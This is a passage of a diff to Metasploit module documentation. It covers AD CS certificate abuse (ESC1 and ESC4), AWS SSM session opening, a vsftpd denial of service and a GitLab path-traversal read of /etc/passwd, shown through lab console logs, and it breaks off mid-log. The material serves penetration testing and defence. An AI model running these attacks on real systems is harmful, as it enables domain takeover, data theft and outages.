`true` (`schannel` authentication is only compatible with TLS connections) + +```msf +msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.30.239.85 +RHOSTS => 172.30.239.85 +msf6 auxiliary(gather/ldap_query) > set LDAP::Auth schannel +LDAP::Auth => schannel +msf6 auxiliary(gather/ldap_query) > set LDAP::CertFile /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx +LDAP::CertFile => /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx +msf6 auxiliary(gather/ldap_query) > set SSL true +[!] Changing the SSL option's value may require changing RPORT! +SSL => true +msf6 auxiliary(gather/ldap_query) > enum_domain +[*] Running module against 172.30.239.85 + +[*] Discovering base DN automatically +[+] 172.30.239.85:389 Discovered base DN: DC=daforest,DC=com +[+] 172.30.239.85:389 Discovered schema DN: DC=daforest,DC=com +DC=msflab DC=local +================== + + Name Attributes + ---- ---------- + lockoutduration 0:00:30:00 + lockoutthreshold 0 + maxpwdage 42:00:00:00 + minpwdage 1:00:00:00 + minpwdlength 7 + ms-ds-machineaccountquota 10 + name msflab + objectsid S-1-5-21-3402587289-1488798532-3618296993 + +[*] Auxiliary module execution completed +msf6 auxiliary(gather/ldap_query) > +``` diff --git a/docs/navigation.rb b/docs/navigation.rb index 6556105a06229..21439c794dafc 100644 --- a/docs/navigation.rb +++ b/docs/navigation.rb @@ -197,20 +197,26 @@ def without_prefix(prefix) { path: 'ad-certificates/overview.md', title: 'Overview', - nav_order: 0, + nav_order: 0 }, { - path: '../../documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md', - title: 'Request certificates' + path: 'ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md', + title: 'Attacking AD CS ESC Vulnerabilities Using Metasploit', + nav_order: 1 }, { path: '../../documentation/modules/auxiliary/gather/ldap_esc_vulnerable_cert_finder.md', - title: 'Vulnerable cert finder' + title: 'Vulnerable cert finder', + nav_order: 2 }, { - path: 'ad-certificates/Attacking-AD-CS-ESC-Vulnerabilities.md', - title: 'Attacking AD CS ESC Vulnerabilities Using Metasploit' + path: '../../documentation/modules/auxiliary/admin/ldap/ad_cs_cert_template.md', + title: 'Manage certificate templates' }, + { + path: '../../documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md', + title: 'Request certificates' + } ] } ] @@ -526,6 +532,10 @@ def without_prefix(prefix) { path: 'How-to-use-command-stagers.md' }, + { + path: 'How-to-use-fetch-payloads.md', + title: 'How to use Fetch Payloads' + }, { old_wiki_path: 'How-to-write-a-check()-method.md', path: 'How-to-write-a-check-method.md' diff --git a/documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md b/documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md index 0720e90cc2d7a..07b89adf068e0 100644 --- a/documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md +++ b/documentation/modules/auxiliary/admin/dcerpc/icpr_cert.md @@ -21,6 +21,15 @@ The certificate template to issue, e.g. "User". ### ALT_DNS Alternative DNS name to specify in the certificate. Useful in certain attack scenarios. +### ALT_SID +Alternative object SID to specify in the NTDS_CA_SECURITY_EXT extension. This is useful when exploiting ESC1 on a target +where the [KB5014754][KB5014754] patch has been applied. + +See the following resources for more information. + +* https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7 +* https://posts.specterops.io/certificates-and-pwnage-and-patches-oh-my-8ae0f4304c1d + ### ALT_UPN Alternative User Principal Name (UPN) to specify in the certificate. Useful in certain attack scenarios. This is in the format `$username@$dnsDomainName`. @@ -112,11 +121,18 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > ### Issue A Certificate With A Specific subjectAltName (AKA ESC1) In this scenario, an authenticated user exploits a misconfiguration allowing them to issue a certificate for a different User Principal Name (UPN), typically one that is an administrator. Exploiting this misconfiguration to specify a -different UPN effectively issues a certificate that can be used to authenticate as another user. +different UPN effectively issues a certificate that can be used to authenticate as another user. If the target server +has the [KB5014754][KB5014754] patch applied and the REG_DWORD +`HKLM\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement` value is set to 2, then the SID for the +account with the specified UPN should be supplied as well. In November of 2023, Microsoft will change the default value +of `StrongCertificateBindingEnforcement` to 2. If the server has the patch applied, the SID will be returned in the +issued certificate which ensures that the required strong mapping is in place. If the strong mapping is required and the +SID is not specified in the certificate, then Kerberos authentication wil fail with `KDC_ERR_CERTIFICATE_MISMATCH`. The user must know: * A vulnerable certificate template, in this case `ESC1-Test`. +* The SID of a target account, in this case `S-1-5-21-3402587289-1488798532-3618296993-1000` * The UPN of a target account, in this case `smcintyre@msflab.local`. See [Certified Pre-Owned](https://posts.specterops.io/certified-pre-owned-d95910965cd2) section on ESC1 for more @@ -134,20 +150,25 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA msflab-DC-CA CA => msflab-DC-CA msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC1-Test CERT_TEMPLATE => ESC1-Test +msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000 +ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000 msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN smcintyre@msflab.local ALT_UPN => smcintyre@msflab.local +msf6 auxiliary(admin/dcerpc/icpr_cert) > set VERBOSE true +VERBOSE => true msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 192.168.159.10 [*] 192.168.159.10:445 - Connecting to ICertPassage (ICPR) Remote Protocol [*] 192.168.159.10:445 - Binding to \cert... [+] 192.168.159.10:445 - Bound to \cert -[*] 192.168.159.10:445 - Requesting a certificate... +[*] 192.168.159.10:445 - Requesting a certificate for user aliddle - alternate UPN: smcintyre@msflab.local - digest algorithm: SHA256 - template: ESC1-Test [+] 192.168.159.10:445 - The requested certificate was issued. +[*] 192.168.159.10:445 - Certificate SID: S-1-5-21-3402587289-1488798532-3618296993-1000 [*] 192.168.159.10:445 - Certificate UPN: smcintyre@msflab.local -[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20220824125859_default_unknown_windows.ad.cs_829589.pfx +[*] 192.168.159.10:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230608111432_default_192.168.159.10_windows.ad.cs_029062.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf6 auxiliary(admin/dcerpc/icpr_cert) > ``` ### Issue A Certificate With The *Any Purpose* EKU (AKA ESC2) @@ -287,3 +308,5 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] Auxiliary module execution completed msf6 auxiliary(admin/dcerpc/icpr_cert) > ``` + +[KB5014754]: https://support.microsoft.com/en-us/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16 diff --git a/documentation/modules/auxiliary/admin/ldap/ad_cs_cert_template.md b/documentation/modules/auxiliary/admin/ldap/ad_cs_cert_template.md new file mode 100644 index 0000000000000..cb9a6764c88f2 --- /dev/null +++ b/documentation/modules/auxiliary/admin/ldap/ad_cs_cert_template.md @@ -0,0 +1,221 @@ +## RBCD Exploitation + +This module can read, write, update, and delete AD CS certificate templates from a Active Directory Domain Controller. + +The READ, UPDATE, and DELETE actions will write a copy of the certificate template to disk that can be restored using +the CREATE or UPDATE actions. + +In order for the `auxiliary/admin/ldap/ad_cs_cert_template` module to succeed, the authenticated user must have the +necessary permissions to perform the specified action on the target object (the certificate specified in +`CERT_TEMPLATE`). + +## Lab setup + +Follow the steps in the [[Installing AD CS|ad-certificates/overview.md#installing-ad-cs]] documentation. + +## Module usage + +The `admin/ldap/ad_cs_template` module is generally used to update a certificate template as part of an ESC4 attack. + +1. From msfconsole +2. Do: `use auxiliary/admin/ldap/ad_cs_cert_template` +3. Set the `RHOSTS`, `USERNAME` and `PASSWORD` options +4. Set the `CERT_TEMPLATE` option to the name of the target certificate template +5. Set the `ACTION` + b. For the `UPDATE` action, set the `TEMPLATE_FILE` option + c. For the `CREATE` action, optionally set the `TEMPLATE_FILE` option +6. Run the module and see the operation complete successfully + +## Actions + +### CREATE +Create the certificate template in the LDAP server. If no `TEMPLATE_FILE` is specified, a new certificate template will +be created based on the Microsoft-builtin `SubCA` template with a default security descriptor. If the `TEMPLATE_FILE` is +specified, the attributes it defines are merged with the `SubCA` template. This allows attributes such as the security +descriptor and name to be defined. + +### READ +Read the certificate template from the LDAP server. A copy will be saved to disk. + +### UPDATE +Update the certificate template in the LDAP server. The `TEMPLATE_FILE` must be specified and will be used to read +attributes to set on the certificate template object. The `TEMPLATE_FILE` option can be set to a previously stored +template file to restore the object to a previous state. + +### DELETE +Delete the certificate template in the LDAP server. This is a destructive action. + +## Options + +### CERT_TEMPLATE +The remote certificate template name. This is used as the common name (CN) for the LDAP object. + +### TEMPLATE_FILE +This is a local template file from which to read object attributes from. Two file formats are supported, JSON and YAML. +The file format is determined by the extension so the file must end in either `.json` or `.yaml`. + +#### The JSON format +The JSON file format is a hash with attribute name keys and ASCII-hex encoded values. These files are compatible with +[`Certipy`'s][certipy] `template` command. This module uses the JSON file format when storing copies fo certificate to +disk. + +#### The YAML format +The YAML file format is similiar to the JSON file format, but takes advantage of YAML's ability to include comments. +The file consists of a hash with attribute name keys and value strings. The `nTSecurityDescriptor` file can be either +a binary string representing a literal value, or a security descriptor defined in Microsoft's [Security Descriptor +Definition Language (SDDL)][sddl]. Premade configuration templates provided by Metasploit use this format. + +## Scenarios + +For steps on exploiting ESC4, see [[Exploiting ESC4|ad-certificates/attacking-ad-cs-esc-vulnerabilities.md#exploiting-esc4-to-gain-domain-administrator-privileges]]. + +### Creating A Certificate Template + +In this scenario, the operator uses the module to create a new certificate template. Either the default local template +can be used to make one vulnerable to ESC1, or a previously saved configuration can be used. In the following example, +the `TEMPLATE_FILE` option is used to restore the settings from a previously deleted template. + +```msf +msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10 +RHOSTS => 192.168.159.10 +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle +USERNAME => aliddle +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1! +PASSWORD => Password1! +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test +CERT_TEMPLATE => ESC4-Test +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION CREATE +ACTION => CREATE +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json +TEMPLATE_FILE => /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run +[*] Running module against 192.168.159.10 + +[+] Successfully bound to the LDAP server! +[*] Discovering base DN automatically +[*] 192.168.159.10:389 Getting root DSE +[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local +[*] Creating: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local +[+] The operation completed successfully! +[*] Auxiliary module execution completed +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > +``` + +### Deleting A Certificate Template + +In this scenario, the operator uses the module to delete the `ESC4-Test` certificate template. A backup of the original +certificate's data is made before it is deleted. This file can be used with the `CREATE` action to restore the +certificate template. + +```msf +msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10 +RHOSTS => 192.168.159.10 +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle +USERNAME => aliddle +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1! +PASSWORD => Password1! +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test +CERT_TEMPLATE => ESC4-Test +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION DELETE +ACTION => DELETE +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run +[*] Running module against 192.168.159.10 + +[+] Successfully bound to the LDAP server! +[*] Discovering base DN automatically +[*] 192.168.159.10:389 Getting root DSE +[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local +[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local +[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505102851_default_192.168.159.10_windows.ad.cs.te_242316.json +[+] The operation completed successfully! +[*] Auxiliary module execution completed +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > +``` + +### Reading A Certificate Template + +In this scenario, the operator uses the module to read the configuration of the default `User` certificate template. + +```msf +msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10 +RHOSTS => 192.168.159.10 +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle +USERNAME => aliddle +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1! +PASSWORD => Password1! +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE User +CERT_TEMPLATE => User +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION READ +ACTION => READ +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run +[*] Running module against 192.168.159.10 + +[+] Successfully bound to the LDAP server! +[*] Discovering base DN automatically +[*] 192.168.159.10:389 Getting root DSE +[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local +[+] Read certificate template data for: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local +[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505125728_default_192.168.159.10_windows.ad.cs.te_691087.json +[*] Certificate Template: +[*] distinguishedName: CN=User,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local +[*] displayName: User +[*] objectGUID: ceed9142-d00f-459e-9694-02eb59ea1ec8 +[*] msPKI-Certificate-Name-Flag: 0xa6000000 +[*] * CT_FLAG_SUBJECT_ALT_REQUIRE_UPN +[*] * CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL +[*] * CT_FLAG_SUBJECT_REQUIRE_EMAIL +[*] * CT_FLAG_SUBJECT_REQUIRE_DIRECTORY_PATH +[*] msPKI-Enrollment-Flag: 0x00000029 +[*] * CT_FLAG_INCLUDE_SYMMETRIC_ALGORITHMS +[*] * CT_FLAG_PUBLISH_TO_DS +[*] * CT_FLAG_AUTO_ENROLLMENT +[*] msPKI-RA-Signature: 0x00000000 +[*] pKIExtendedUsage: +[*] * 1.3.6.1.4.1.311.10.3.4 +[*] * 1.3.6.1.5.5.7.3.4 +[*] * 1.3.6.1.5.5.7.3.2 +[+] The operation completed successfully! +[*] Auxiliary module execution completed +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > +``` + +### Updating A Certificate Template + +In this scenario, the operator uses the module to update and reconfigure the `ESC4-Test` certificate template to make it +vulnerable to ESC1 (the default template settings). This process first makes a backup of the certificate data that can +be used later. The local certificate template data can be modified to set a custom security descriptor. + +```msf +msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 192.168.159.10 +RHOSTS => 192.168.159.10 +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME aliddle +USERNAME => aliddle +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD Password1! +PASSWORD => Password1! +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test +CERT_TEMPLATE => ESC4-Test +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE +ACTION => UPDATE +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true +VERBOSE => true +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run +[*] Running module against 192.168.159.10 + +[+] Successfully bound to the LDAP server! +[*] Discovering base DN automatically +[*] 192.168.159.10:389 Getting root DSE +[+] 192.168.159.10:389 Discovered base DN: DC=msflab,DC=local +[+] Read certificate template data for: CN=ESC4-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=msflab,DC=local +[*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083802_default_192.168.159.10_windows.ad.cs.te_593597.json +[*] Parsing SDDL text: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU) +[+] The operation completed successfully! +[*] Auxiliary module execution completed +msf6 auxiliary(admin/ldap/ad_cs_cert_template) > +``` + +[certipy]: https://github.com/ly4k/Certipy +[sddl]: https://learn.microsoft.com/en-us/windows/win32/secauthz/security-descriptor-definition-language diff --git a/documentation/modules/auxiliary/cloud/aws/enum_ssm.md b/documentation/modules/auxiliary/cloud/aws/enum_ssm.md new file mode 100644 index 0000000000000..2d0dae333b68a --- /dev/null +++ b/documentation/modules/auxiliary/cloud/aws/enum_ssm.md @@ -0,0 +1,52 @@ +## Vulnerable Application + +Provided AWS credentials, this module will call the authenticated API of Amazon Web Services to list all SSM-enabled EC2 +instances accessible to the account. Once enumerated as SSM-enabled, the instances can be controlled using out-of-band +WebSocket sessions provided by the AWS API (nominally, privileged out of the box). This module provides not only the API +enumeration identifying EC2 instances accessible via SSM with given credentials, but enables session initiation for all +identified targets (without requiring target-level credentials) using the CreateSession mixin option. The module also +provides an EC2 ID filter and a limiting throttle to prevent session stampedes or expensive messes. + +## Verification Steps + +1. Obtain AWS access keys +2. Start msfconsole +3. Set the `ACCESS_KEY_ID`, `SECRET_ACCESS_KEY`, `REGION` +4. Run the module, see EC2 instances + +## Options + +## LIMIT +Only return the specified number of results from each region. + +## FILTER_EC2_ID +Look for specific EC2 instance ID. + +## REGION +AWS Region (e.g. "us-west-2"). + +## Advanced Options + +### CreateSession + +Create a new session for every successful login. + +## Scenarios + +Enumerating EC2 instances in the US-East-2 region and opening a session on each one (`CreateSession` is True). + +``` +msf6 auxiliary(cloud/aws/enum_ssm) > set ACCESS_KEY_ID AKIAO5WK2W9TMZT7EAM5 +ACCESS_KEY_ID => AKIAO5WK2W9TMZT7EAM5 +msf6 auxiliary(cloud/aws/enum_ssm) > set SECRET_ACCESS_KEY pDNhoEPuubvWSsp18axjPFBM4sNme6vnNUFb6qWo +SECRET_ACCESS_KEY => pDNhoEPuubvWSsp18axjPFBM4sNme6vnNUFb6qWo +msf6 auxiliary(cloud/aws/enum_ssm) > run + +[*] Checking us-east-2... +[+] Found AWS SSM host i-02cd668d50587bdcf (ip-172-31-42-215.us-east-2.compute.internal) - 172.31.42.215 +[*] AWS SSM command shell session 3 opened (192.168.250.134:39005 -> 172.31.42.215:0) at 2023-05-22 16:43:03 -0400 +[+] Found AWS SSM host i-074187bde1453613a (EC2AMAZ-HM7U6TS.WORKGROUP) - 172.31.44.170 +[*] AWS SSM command shell session 4 opened (192.168.250.134:37231 -> 172.31.44.170:0) at 2023-05-22 16:43:05 -0400 +[*] Auxiliary module execution completed +msf6 auxiliary(cloud/aws/enum_ssm) > +``` diff --git a/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md new file mode 100644 index 0000000000000..e07c50aeceb5f --- /dev/null +++ b/documentation/modules/auxiliary/dos/ftp/vsftpd_232.md @@ -0,0 +1,159 @@ +## Vulnerable Application + +This is an auxiliary for DOSing a VSFTPD server from version 2.3.2 and below. The +vulnerability has been directly tested on versions 2.3.0, 2.3.1, and 2.3.2 and have +shown success. + +VSFTPD is a popular ftp server written in C. The vulnerability causes a DOS on +the service by leveraging a long recursive glob statement on the server. When +we fill the 4096 character buffer with this recursive glob search, it makes the +current thread spend all of that time unwinding that glob statement which can +use up all the resources on that core. Sending this glob on all threads leave no +availability for anyone else to access the server while taking up all of the CPU +resources of the machine. + +## Options + +### FTPUSER +The username used to log into the FTP server + +### FTPPASS +The password used to log into the FTP server + +### Install on Arch Linux + +The software has been tested on multiple versions using arch linux. To create an +installable package for the vulnerable software to test, follow these instructions. + +1. Clone the source repository using `git clone https://gitlab.archlinux.org/archlinux/packaging/packages/vsftpd.git` +2. Replace the contents of the PKGBUILD with this + +```pkgbuild +pkgname=vsftpd +pkgver=2.3.2 +pkgrel=1 +pkgdesc='Very Secure FTP daemon' +url='https://security.appspot.com/vsftpd.html' +arch=('x86_64') +license=('GPL2') +depends=('glibc' 'openssl' 'libcap' 'pam' 'libnsl') +optdepends=('logrotate') +backup=('etc/vsftpd.conf' + 'etc/xinetd.d/vsftpd' + "etc/logrotate.d/vsftpd") +source=(https://security.appspot.com/downloads/${pkgname}-${pkgver}.tar.gz + vsftpd-ssl.socket + vsftpd.socket + vsftpd.service + vsftpd@.service + vsftpd-ssl.service + vsftpd-ssl@.service) +sha256sums=('SKIP' + 'd5185e48fffc6253499a55e0fe0f90a3424fc639640af11a9d38df33fb145afe' + '9fdbfd2ec0207170371ca3cf2b0ddca2dc2fe3d062e5792e0d3e51474c3198c9' + '0597e571718ba0f4dc4b32a4ddd148103758c48c7d65dcb8bbedafc9e810e83d' + 'd7b8e4827d4f6bafcbf52f9d2d7380958c7b08bb3f757806aa89d4bc06c9671c' + 'b88a50fc68b3bf746d13c9a777df77791cd3eac6eb7c2df655418071c2adf422' + '4a55c2468b08d858f71bacf1f4885847bec8e548b0e92088068d9bdd3884af84') + +prepare() { + cd ${pkgname}-${pkgver} + # build-time config + sed -e 's|^#undef VSF_BUILD_SSL$|#define VSF_BUILD_SSL|' -i builddefs.h + sed -e 's|/usr/share/empty|/var/empty|g' -i tunables.c vsftpd.conf.5 INSTALL + sed -e 's|/usr/local/sbin/vsftpd|/usr/bin/vsftpd|' -i EXAMPLE/INTERNET_SITE/${pkgname}.xinetd + + # fix linking to openssl 1.1 + sed -e 's|SSL_library_init|SSL_CTX_new|' -i vsf_findlibs.sh +} + +build() { + cd ${pkgname}-${pkgver} + make LINK='' CFLAGS="${CFLAGS} ${CPPFLAGS}" LDFLAGS="${LDFLAGS}" +} + +package() { + cd ${pkgname}-${pkgver} + + install -Dm 755 ${pkgname} -t "${pkgdir}/usr/bin" + install -dm 755 "${pkgdir}/var/empty" + install -Dm 644 "${srcdir}"/{*.service,*.socket} -t "${pkgdir}/usr/lib/systemd/system" + + install -Dm 644 ${pkgname}.conf -t "${pkgdir}/etc" + install -Dm 644 EXAMPLE/INTERNET_SITE/${pkgname}.xinetd "${pkgdir}/etc/xinetd.d/${pkgname}" + install -Dm 644 RedHat/vsftpd.log "${pkgdir}/etc/logrotate.d/${pkgname}" + install -Dm 644 RedHat/vsftpd.pam "${pkgdir}/etc/pam.d/${pkgname}" + + install -Dm 644 ${pkgname}.8 -t "${pkgdir}/usr/share/man/man8" + install -Dm 644 ${pkgname}.conf.5 -t "${pkgdir}/usr/share/man/man5" + install -Dm 644 BENCHMARKS BUGS Changelog FAQ INSTALL README README.ssl REFS \ + REWARD SPEED TODO TUNING -t "${pkgdir}/usr/share/doc/${pkgname}" +} +``` + +3. If you want to test a different version, Change the version variable to your +desired version. +4. Run `makepkg -i` to build the package and automatically install it. +5. Start the systemd service with `sudo systemctl start vsftpd` + +### Docker install on Arch Linux + +A simple container was created to easily test this vulnerability. To easily run a +vulnerable instance of this application, build this image from this Dockerfile. + +1. Create a `Dockerfile` and place the content below into it + +```dockerfile +FROM archlinux:latest +ARG VERSION=2.3.2 +RUN pacman -Sy --noconfirm gcc make libnsl +RUN curl -O https://security.appspot.com/downloads/vsftpd-$VERSION.tar.gz +RUN tar zxf vsftpd-$VERSION.tar.gz +WORKDIR /vsftpd-$VERSION +RUN make +RUN mkdir -p /usr/share/empty/ +RUN chmod +x /vsftpd-$VERSION/vsftpd +RUN mv /vsftpd-$VERSION/vsftpd /bin/vsftpd +RUN mv /vsftpd-$VERSION/vsftpd.conf /etc/vsftpd.conf +RUN chown root:root /etc/vsftpd.conf +EXPOSE 21 +CMD [ "/bin/vsftpd" ] +``` + +2. Run `sudo docker build . -t vsftpd:2.3.2 --build-arg=2.3.2` +3. Run `sudo docker run --name vsftpd -p 21:21 vsftpd:2.3.2` + +Run the module against this container and the container will either slow down or crash entirely. + +## Verification Steps + +1. Start `msfconsole` +2. `use auxiliary/dos/ftp/vstfpd_232` +3. `set rhosts` +4. `set ftpuser` +5. `set ftppass` +6. `run` + +## Scenarios + +### VSFTPD 2.3.2 - Arch linux + +``` +msf6 > use auxiliary/dos/ftp/vsftpd_232 +msf6 auxiliary(dos/ftp/vstfpd_232) > set rhosts 192.168.56.106 +rhosts => 192.168.56.106 +msf6 auxiliary(dos/ftp/vstfpd_232) > set ftpuser anonymous +ftpuser => anonymous +msf6 auxiliary(dos/ftp/vstfpd_232) > set ftppass '' +ftppass => +msf6 auxiliary(dos/ftp/vstfpd_232) > run +[*] Running module against 192.168.56.106 + +[*] 192.168.56.106:21 - sending payload +............................................................................................. +[+] 192.168.56.106:21 - Stream was cut off abruptly. Appears DOS attack succeeded. +[*] Auxiliary module execution completed +``` + +You can verify that it works by either attempting to ftp into the machine after or checking +htop on the machine. If the CPU is at max capacity, that would be due to the DOS. diff --git a/documentation/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.md b/documentation/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.md new file mode 100644 index 0000000000000..f7ee765b4a344 --- /dev/null +++ b/documentation/modules/auxiliary/gather/gitlab_authenticated_subgroups_file_read.md @@ -0,0 +1,140 @@ +## Vulnerable Application + +GitLab version 16.0 contains a directory traversal for arbitrary file read +as the `gitlab-www` user. This module requires authentication for exploitation. +In order to use this module, a user must be able to create a project and groups. +When exploiting this vulnerability, there is a direct correlation between the traversal +depth, and the depth of groups the vulnerable project is in. The minimum for this seems +to be `5`, but up to `11` have also been observed. An example of this, is if the directory +traversal needs a depth of `11`, a group +and 10 nested child groups, each a sub of the previous, will be created (adding up to `11`). +Visually this looks like: +`Group1->child1->child2->child3->child4->child5->child6->child7->child8->child9->child10`. +If the depth was `5`, a group and 4 nested child groups would be created. +With all these requirements satisfied a dummy file is uploaded, and the full +traversal is then executed. Cleanup is performed by deleting the first group which +cascades to deleting all other objects created. + +Tested on a Docker image of GitLab 16.0 + +### Install + +A Docker image is available: + +``` +sudo docker run --detach \ + --hostname gitlab.example.com \ + --publish 443:443 --publish 80:80 --publish 22:22 \ + --name gitlab \ + --restart always \ + --volume $GITLAB_HOME/config:/etc/gitlab \ + --volume $GITLAB_HOME/logs:/var/log/gitlab \ + --volume $GITLAB_HOME/data:/var/opt/gitlab \ + --shm-size 256m \ +gitlab/gitlab-ee:16.0.0-ee.0 +``` + +To retrieve the default password: + +``` +sudo docker exec -it gitlab grep 'Password:' /etc/gitlab/initial_root_password +``` + +## Verification Steps + +1. Install the application +1. Start msfconsole +1. Do: `use auxiliary/scanner/http/gitlab_authenticated_subgroups_file_read` +1. Do: `set rhosts [ip]` +1. Do: `set username [username]` +1. DO: `set password [password]` +1. Do: `run` +1. You should be able to read an arbitrary file. + +## Options + +### DEPTH + +Depth for path traversal (also groups creation). 11 seems pretty safe but it may work with less. Defaults to `11`. + +### FILE + +File to read. Defaults to `/etc/passwd` + +## Scenarios + +### Docker GitLab 16.0 + +``` +[*] Processing gitlab.rb for ERB directives. +resource (gitlab.rb)> use auxiliary/gather/gitlab_authenticated_subgroups_file_read +resource (gitlab.rb)> set rhosts 127.0.0.1 +rhosts => 127.0.0.1 +resource (gitlab.rb)> set username root +username => root +resource (gitlab.rb)> set password 9ADJtW5hHcrTYKDZ2yeQduyHyWuGUk7b9ikV/njVVC4= +password => 9ADJtW5hHcrTYKDZ2yeQduyHyWuGUk7b9ikV/njVVC4= +resource (gitlab.rb)> set verbose true +verbose => true +resource (gitlab.rb)> exploit +[*] Running module against 127.0.0.1 +[+] CSRF Token: dPAr4PTaCuwRU5-j-snq7FfX1V0qh7MoDguHWbUCXCPnwKK3azJXGaF5QxXjRtXkn2_ORLoEt8-NGf59fngrUg +[*] Creating 11 groups +[*] Creating group: GYS2KiLq +[+] CSRF Token: RiloN6gmbtG6kHO55i7i0LFqaN38Bwd_EZCHW2Q9UcLVGeFgN84zJAq6rw__od3YedJzxGyEA5iSgv5_r0cmsw +[*] Creating child group: YzJEBtNX with parent id: 2 +[+] CSRF Token: uSAAt3_f4qbQtpxzkyI-vefpmQhh3vxFtee7I1bmVxUqEIng4De_U2CcQMWKrQG1L1GCEfFd-KI29cIHnZwgZA +[*] Creating child group: kl9AGSEx with parent id: 3 +[+] CSRF Token: ujc-Maz6zilT6D5fPjiq-s0CtVg9CYm43f71Eiu35I0pB7dmMxKT3OPC4uknt5XyBbquQa2KjV9e7Iw24M2T_A +[*] Creating child group: 9QC5nfTB with parent id: 4 +[+] CSRF Token: mkDq3WQ7BdDAfiO_INXVAZ7UOeNPlHXJqx0_0TfqmgwJcGOK-9NYJXBU_wk5WuoJVmwi-t8XcS4oD0b1_JDtfQ +[*] Creating child group: ssHxNX3y with parent id: 5 +[+] CSRF Token: 